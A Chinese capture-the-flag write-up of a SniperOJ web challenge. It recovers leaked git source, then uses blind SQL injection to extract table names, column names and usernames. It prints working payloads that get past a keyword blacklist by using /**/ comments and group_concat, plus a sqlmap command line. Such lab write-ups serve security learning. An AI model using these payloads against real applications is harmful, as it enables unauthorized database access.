[SniperOJ](web)图书管理系统 注入 源码泄露
0x00 题目概况
题目地址:http://www.sniperoj.cn:10000/
这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后注入。
挺简单的一道题,我自己卡一个地方卡了好久就是。
拖下来源码放在我服务器上,懒得拖想看看可以下载:
120.27.32.227/sniper.rar
大概分析如下:
敏感词过滤
$blacklist = array(" select "," union ","limit", " from ", "and","sleep");
foreach ($_POST as $key => $value) {
for ($i= 0;$i< count($blacklist); $i++){
if(strpos(strtolower($value), $blacklist[$i]) != false){
die("Come on inject me, you stupid srcipt kid!");
}
在注册页面:
// 判断用户是否存在
$sql_check = "SELECT userID from users where username = '$username'";
$result = $conn->query($sql_check);
if ($result->num_rows > 0) {
die("{\"status\":\"0\",\"msg\":\"用户名已存在\"}");
}
很明显的盲注点,在登录界面也有一个盲注点。(没发现哪里可以明注,本人新手还望赐教)
0x01 自己解题历程
1. 那个黑名单,“select”"union“” 可以使用内联注释绕过,或者使用其他如 /**/ 代替空格即可,and 可以用 && 代替,limit 没有找到方法绕过
2. 注入点 ,username 可以为:
' or 1 #
在 1 处进行盲注。
为真的关键词是 “用户名已存在”。
一看这么简单,加上最近深入了解了一下slqmap,所以想下直接用sqlmap跑就行。
sqlmap参数: --string "用户名已存在" --suffix "#" --prefix " 'or " -v 3 --risk 3 --tamper space2comment.py
确实可以跑出来,但是,只能跑出数据库名,表名要靠碰撞,其他获取不到,很是困惑。
纠结了好一会,查看slqmap的payload才想起是 "limit" 在黑名单里面。
接下来就是怎么绕过limit限制的问题了。大体上思路有两种。
1. 不用limit ,寻找可以代替limit的关键字
2. 绕过限制,如编码绕过,内联注释绕过
找了挺久的资料,一无所获。没有找到mysql没有能代替limit的关键字,这里也绕过不了。
在网上看到一种这种绕过,在关键字中添加 注释 “/**/” ,如:sele/***/ct 。这是一种错误的方式,除非php会对 “/**/”进行过滤,否则,这种语句带入到数据库进行查询会报错的。
0x02 正确的思路:group_concat
大概自己思维还是太狭隘,一直在纠结怎么绕过limit ,想着盲注一定要有limit。
把源码挂在屏幕半天,偶然看自己的一下笔记才想起来使用 “group_concat”
个人对group_concat通俗理解:
进行查询,将多条查询结果以一行显示出来,即一条
如:select group_concat(username) from users
会将所有的username显示在一行
想到这,就没必要用limit 了。接下来就是写脚本的问题。
payload 如下:
获取表名:
' or ascii(substr(((select/**/group_concat(table_name)/**/from/**/information_schema.tables where table_schema=database()))from/**/1 for 1))=93 #
获取列名:
' or ascii(substr(((select/**/group_concat(column_name)/**/from/**/information_schema.columns where table_name=0x7573657273))from/**/2 for 1))=71 #
获取具体数据:
' or ascii(substr(((select/**/group_concat(username)/**/from/**/users))/**/from 2 for 1))=21 #
0x03 总结
git泄露
盲注不一定要使用 limit
记住 group_concat
使用sqlmap行不通时查看payload,别太依赖工具
题目挺简单的,自己太菜了,还要多学多看,这些远远不够
[SniperOJ](web)图书管理系统 注入 源码泄露的更多相关文章
- CTF中常见Web源码泄露总结
目录00x1 .ng源码泄露 00x2 git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露 ...
- Web源码泄露总结
Web源码泄露总结 背景 本文主要是记录一下常见的源码泄漏问题,这些经常在web渗透测试以及CTF中出现. 源码泄漏分类 .hg源码泄漏 漏洞成因: hg init的时候会生成.hg e.g.http ...
- ctf/web源码泄露及利用办法
和上一篇文章差不多,也算是对web源码泄露的一个总结,但是这篇文章更侧重于CTF 参考文章: https://blog.csdn.net/wy_97/article/details/78165051? ...
- 常见的Web源码泄露总结
常见的Web源码泄露总结 源码泄露方式分类 .hg源码泄露 漏洞成因: hg init 的时候会生成 .hg 漏洞利用: 工具: dvcs-ripper .git源码泄露 漏洞成因: 在运行git i ...
- [WEB安全]源码泄露总结
原文链接:https://blog.csdn.net/qq_36869808/article/details/88895109 源码泄露总结: svn源码泄露:https://blog.csdn.ne ...
- [web 安全] 源码泄露
web 源码泄露 1..hg 源码泄露 http://www.example.com/.hg/ 2..git 源码泄露 http://www.example.com/.git/config 3..ds ...
- ctf常见源码泄露
前言 在ctf中发现很多源码泄露的题,总结一下,对于网站的搭建要注意删除备份文件,和一些工具的使用如git,svn等等的规范使用,避免备份文件出现在公网 SVN源码泄露 原理 SVN(subversi ...
- XJar: Spring-Boot JAR 包加/解密工具,避免源码泄露以及反编译
XJar: Spring-Boot JAR 包加/解密工具,避免源码泄露以及反编译 <?xml version="1.0" encoding="UTF-8" ...
- 放出一批学生管理系统jsp源码,部分有框架
基于jsp+struts 2的学生管理系统eclipse - 源码码头 https://www.icodedock.com/article/25.html 基于jsp+mysql的JSP学生成绩管 ...
随机推荐
- 解决POI多线程导出时数据错乱问题
项目里有一个导出功能,但随着数据量大量上涨,导出时间长到不可忍受,遂重写此接口,多线程导出的代码并不复杂,每页有一条线程负责写入,利用线程池去调度,用countdownLatch保证在所有数据写完后再 ...
- Java中邮件发送session.getDefaultInstance和getInstance的区别
假设你想要同时用两个邮箱分别给再给两个邮箱发送邮件时,你就需要创建两个java.mail.Session对象,这时候你用getDefaultInstance的话会发现第二个Session对象和第一个对 ...
- Docker仓库--registry与harbor
搭建私有仓库的两种方式: Registry Harbor 一.registry的搭建 docker官方提供了一个搭建私有仓库的镜像registry,只需下载镜像,运行容器并暴露5000端口即可. ...
- 『德不孤』Pytest框架 — 8、Pytest断言
目录 1.什么是断言 2.Pytest断言 3.Pytest的断言方式及应用场景 (1)使用assert语句 (2)断言预期的异常 (3)拓展 4.优化断言 5.使用标记检查异常 1.什么是断言 对于 ...
- Python培训:绘制饼图或圆环图
使用pyplot的pie()函数可以快速地绘制饼图或圆环图,pie()函数的语法格式如下所示: 该函数常用参数的含义如下. ·x:表示扇形或楔形的数据. ·explode:表示扇形或楔形离开圆心的距离 ...
- 华为eNSP的防火墙(USG6000V)如何使用Web界面登入
文章目录 华为eNSP的防火墙(USG6000V)如何使用Web界面登入 前言 一.使用步骤 1.导入USG6000V的镜像包 总结 前言 在华为的eNSP的模拟器上如何使用Web界面去管理与使用模拟 ...
- 使用burpsuite对APP数据包进行安全测试
如之前的文章将手机抓包监听环境设置好后(之前学习burpsuite的时候写的,保存到草稿箱,忘记发了...),主要用到的功能如下: 1-1.数据包篡改 截获包后,可以对数据包中的内容在Raw标签框中直 ...
- kibana命令复制索引
POST _reindex { "source": { "index": "原索引名称" }, "dest": { &q ...
- websocket原理和基于c/c++实现的websocket协议栈(更新中)
参考: 博客1:http://blog.sina.com.cn/s/blog_bf397e780102w25k.html https://www.cnblogs.com/barrywxx/p/7412 ...
- numpy最后一部分及pandas初识
今日内容概要 numpy剩余的知识点 pandas模块 今日内容详细 二元函数 加 add 减 sub 乘 mul 除 div 平方 power 数学统计方法 sum 求和 cumsum 累计求和 m ...